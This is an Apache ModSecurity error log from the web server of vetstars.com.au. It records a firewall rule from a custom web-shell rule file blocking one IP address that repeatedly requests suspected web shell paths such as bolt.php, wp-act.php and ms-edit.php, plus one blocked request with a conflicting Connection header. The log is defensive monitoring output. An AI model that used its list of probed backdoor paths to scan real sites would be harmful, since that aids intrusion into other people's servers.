[Sun May 03 05:36:35.388592 2026] [:error] [pid 21934:tid 21957] [client 172.173.121.85:5736] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/style.php"] [unique_id "afZuY3WfIjnWjXCxeM4spAAAARU"]
[Sun May 03 05:36:35.767935 2026] [:error] [pid 21934:tid 21946] [client 172.173.121.85:5726] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/style.php"] [unique_id "afZuY3WfIjnWjXCxeM4spQAAAQo"]
[Sun May 03 05:36:36.240465 2026] [:error] [pid 21934:tid 21953] [client 172.173.121.85:5144] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/style.php"] [unique_id "afZuZHWfIjnWjXCxeM4spgAAARE"]
[Sun May 03 05:36:36.683847 2026] [:error] [pid 40638:tid 40684] [client 172.173.121.85:5121] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "afZuZPh3VcFjJ7H1mBap-gAAAEo"]
[Sun May 03 05:36:37.077196 2026] [:error] [pid 21934:tid 21937] [client 172.173.121.85:6130] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "afZuZXWfIjnWjXCxeM4sqQAAAQE"]
[Sun May 03 05:36:37.528065 2026] [:error] [pid 40732:tid 40753] [client 172.173.121.85:5134] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "afZuZf1lQrIvlEdzcVcWUwAAAMk"]
[Sun May 03 05:36:38.718361 2026] [:error] [pid 21934:tid 21960] [client 172.173.121.85:5146] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php"] [unique_id "afZuZnWfIjnWjXCxeM4srwAAARg"]
[Sun May 03 05:36:39.135977 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:5698] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afZuZ3WfIjnWjXCxeM4ssQAAARY"]
[Sun May 03 05:36:39.892353 2026] [:error] [pid 21934:tid 21941] [client 172.173.121.85:5122] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afZuZ3WfIjnWjXCxeM4stgAAAQU"]
[Sun May 03 05:36:40.542795 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:5829] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afZuaHWfIjnWjXCxeM4suQAAAQk"]
[Sun May 03 05:36:40.925692 2026] [:error] [pid 40639:tid 40711] [client 172.173.121.85:6092] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "afZuaK9rkyoICq7qxvFllwAAAIo"]
[Sun May 03 05:36:41.415278 2026] [:error] [pid 40638:tid 40691] [client 172.173.121.85:5860] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "afZuafh3VcFjJ7H1mBap_QAAAFE"]
[Sun May 03 05:36:42.051404 2026] [:error] [pid 40637:tid 40650] [client 172.173.121.85:5838] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "afZuapB-U30YNJ6CyVg9_QAAAAM"]
[Sun May 03 05:36:42.441454 2026] [:error] [pid 21934:tid 21948] [client 172.173.121.85:5732] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "afZuanWfIjnWjXCxeM4svwAAAQw"]
[Sun May 03 05:36:42.928055 2026] [:error] [pid 21934:tid 21946] [client 172.173.121.85:5130] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-act.php"] [unique_id "afZuanWfIjnWjXCxeM4swAAAAQo"]
[Sun May 03 05:36:43.392961 2026] [:error] [pid 40639:tid 40704] [client 172.173.121.85:5227] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "afZua69rkyoICq7qxvFlmwAAAIM"]
[Sun May 03 05:36:43.810370 2026] [:error] [pid 40639:tid 40708] [client 172.173.121.85:5749] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "afZua69rkyoICq7qxvFlnQAAAIc"]
[Sun May 03 05:36:45.312581 2026] [:error] [pid 21934:tid 21946] [client 172.173.121.85:5138] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "afZubXWfIjnWjXCxeM4sxwAAAQo"]
[Sun May 03 05:36:45.710560 2026] [:error] [pid 21934:tid 21937] [client 172.173.121.85:5846] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/aaa.php"] [unique_id "afZubXWfIjnWjXCxeM4syAAAAQE"]
[Sun May 03 05:36:46.229709 2026] [:error] [pid 40639:tid 40715] [client 172.173.121.85:5140] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "afZubq9rkyoICq7qxvFloAAAAI4"]
[Sun May 03 05:36:46.690990 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:6121] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "afZubnWfIjnWjXCxeM4szQAAARY"]
[Sun May 03 05:36:47.202218 2026] [:error] [pid 40639:tid 40724] [client 172.173.121.85:5825] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "afZub69rkyoICq7qxvFloQAAAJc"]
[Sun May 03 05:36:47.264535 2026] [:error] [pid 40639:tid 40707] [client 43.157.38.131:59638] [client 43.157.38.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afZub69rkyoICq7qxvFlowAAAIY"]
[Sun May 03 05:36:48.703604 2026] [:error] [pid 40639:tid 40701] [client 172.173.121.85:5837] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "afZucK9rkyoICq7qxvFlpQAAAIA"]
[Sun May 03 05:36:49.150985 2026] [:error] [pid 21934:tid 21936] [client 172.173.121.85:6112] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afZucXWfIjnWjXCxeM4s0gAAAQA"]
[Sun May 03 05:36:49.721003 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30218] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afZucXWfIjnWjXCxeM4s1gAAAQg"]
[Sun May 03 05:36:50.184527 2026] [:error] [pid 21934:tid 21958] [client 172.173.121.85:5126] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afZucnWfIjnWjXCxeM4s1wAAARY"]
[Sun May 03 05:36:50.624728 2026] [:error] [pid 40732:tid 40752] [client 172.173.121.85:5120] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "afZucv1lQrIvlEdzcVcWWgAAAMg"]
[Sun May 03 05:36:51.073986 2026] [:error] [pid 21934:tid 21939] [client 172.173.121.85:5752] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "afZuc3WfIjnWjXCxeM4s2gAAAQM"]
[Sun May 03 05:36:51.495488 2026] [:error] [pid 40637:tid 40668] [client 172.173.121.85:5710] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "afZuc5B-U30YNJ6CyVg9_wAAABU"]
[Sun May 03 05:36:51.938535 2026] [:error] [pid 40732:tid 40764] [client 172.173.121.85:5730] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "afZuc_1lQrIvlEdzcVcWXAAAANQ"]
[Sun May 03 05:36:52.336105 2026] [:error] [pid 40637:tid 40654] [client 172.173.121.85:5876] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sbhu.php"] [unique_id "afZudJB-U30YNJ6CyVg-AAAAAAc"]
[Sun May 03 05:36:52.742326 2026] [:error] [pid 40637:tid 40657] [client 172.173.121.85:5744] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "afZudJB-U30YNJ6CyVg-AgAAAAo"]
[Sun May 03 05:36:53.841264 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:5729] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "afZudXWfIjnWjXCxeM4s3QAAAQ8"]
[Sun May 03 05:36:54.869384 2026] [:error] [pid 21934:tid 21937] [client 172.173.121.85:5183] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "afZudnWfIjnWjXCxeM4s4QAAAQE"]
[Sun May 03 05:36:55.292933 2026] [:error] [pid 21934:tid 21945] [client 172.173.121.85:5168] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "afZud3WfIjnWjXCxeM4s5QAAAQk"]
[Sun May 03 05:36:55.716843 2026] [:error] [pid 21934:tid 21940] [client 172.173.121.85:6125] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afZud3WfIjnWjXCxeM4s6AAAAQQ"]
[Sun May 03 05:36:56.119388 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:5864] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afZueHWfIjnWjXCxeM4s6QAAAQ8"]
[Sun May 03 05:36:56.535338 2026] [:error] [pid 21934:tid 21939] [client 172.173.121.85:5157] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afZueHWfIjnWjXCxeM4s7AAAAQM"]
[Sun May 03 05:36:56.924375 2026] [:error] [pid 40638:tid 40689] [client 172.173.121.85:5715] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "afZuePh3VcFjJ7H1mBaqCQAAAE8"]
[Sun May 03 05:36:57.847248 2026] [:error] [pid 40638:tid 40693] [client 172.173.121.85:5718] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuefh3VcFjJ7H1mBaqCwAAAFM"]
[Sun May 03 05:36:58.283539 2026] [:error] [pid 40732:tid 40766] [client 172.173.121.85:6097] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuev1lQrIvlEdzcVcWXwAAANY"]
[Sun May 03 05:36:58.722091 2026] [:error] [pid 40732:tid 40758] [client 172.173.121.85:5704] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZuev1lQrIvlEdzcVcWYAAAAM4"]
[Sun May 03 05:36:59.176027 2026] [:error] [pid 40638:tid 40674] [client 172.173.121.85:5182] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "afZue_h3VcFjJ7H1mBaqDwAAAEA"]
[Sun May 03 05:36:59.639421 2026] [:error] [pid 40638:tid 40682] [client 172.173.121.85:5150] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZue_h3VcFjJ7H1mBaqEQAAAEg"]
[Sun May 03 05:37:00.169943 2026] [:error] [pid 40638:tid 40694] [client 172.173.121.85:5835] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZufPh3VcFjJ7H1mBaqFAAAAFQ"]
[Sun May 03 05:37:00.584759 2026] [:error] [pid 40732:tid 40746] [client 172.173.121.85:30311] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZufP1lQrIvlEdzcVcWYQAAAMI"]
[Sun May 03 05:37:00.985430 2026] [:error] [pid 40639:tid 40713] [client 172.173.121.85:5202] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZufK9rkyoICq7qxvFlsQAAAIw"]
[Sun May 03 05:37:01.393676 2026] [:error] [pid 21934:tid 21939] [client 172.173.121.85:5156] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "afZufXWfIjnWjXCxeM4s8QAAAQM"]
[Sun May 03 05:37:01.799249 2026] [:error] [pid 40639:tid 40716] [client 172.173.121.85:6137] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "afZufa9rkyoICq7qxvFlswAAAI8"]
[Sun May 03 05:37:02.293527 2026] [:error] [pid 40638:tid 40693] [client 172.173.121.85:5824] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "afZufvh3VcFjJ7H1mBaqHAAAAFM"]
[Sun May 03 05:37:02.734765 2026] [:error] [pid 21934:tid 21938] [client 172.173.121.85:5165] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "afZufnWfIjnWjXCxeM4s8gAAAQI"]
[Sun May 03 05:37:03.163796 2026] [:error] [pid 40637:tid 40651] [client 172.173.121.85:6109] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZuf5B-U30YNJ6CyVg-CAAAAAQ"]
[Sun May 03 05:37:03.556799 2026] [:error] [pid 40637:tid 40665] [client 172.173.121.85:5857] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZuf5B-U30YNJ6CyVg-CgAAABI"]
[Sun May 03 05:37:04.427507 2026] [:error] [pid 40637:tid 40653] [client 172.173.121.85:5145] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZugJB-U30YNJ6CyVg-DQAAAAY"]
[Sun May 03 05:37:04.899251 2026] [:error] [pid 40638:tid 40687] [client 172.173.121.85:5839] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "afZugPh3VcFjJ7H1mBaqIgAAAE0"]
